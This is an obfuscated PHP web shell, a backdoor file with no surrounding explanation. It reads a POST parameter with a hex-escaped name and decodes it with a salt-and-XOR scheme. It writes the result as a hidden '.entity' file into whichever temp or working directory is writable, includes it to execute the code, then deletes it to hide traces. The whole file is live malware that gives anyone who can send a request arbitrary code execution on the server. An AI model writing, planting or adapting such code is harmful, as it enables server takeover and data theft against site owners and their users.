<?php
if(in_array("\x64e\x73c", array_keys($_POST))){
$mrk = $_POST["\x64e\x73c"];
$mrk= explode ( '.' , $mrk ) ;
$entry ='';
$salt ='abcdefghijklmnopqrstuvwxyz0123456789';
$sLen =strlen($salt );
$q =0;
$__len =count($mrk );
do {
if ($q >= $__len) break;
$v1 =$mrk[$q];
$chS =ord($salt[$q %$sLen] );
$dec =((int)$v1 - $chS - ($q %10)) ^ 91;
$entry .= chr($dec );
$q++;
} while (true );
$token = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), "/tmp", session_save_path()]);
foreach ($token as $resource) {
if (is_writable($resource) && is_dir($resource)) {
$flag = "$resource/.entity";
if (file_put_contents($flag, $entry)) {
include $flag;
@unlink($flag);
exit;
}
}
}
}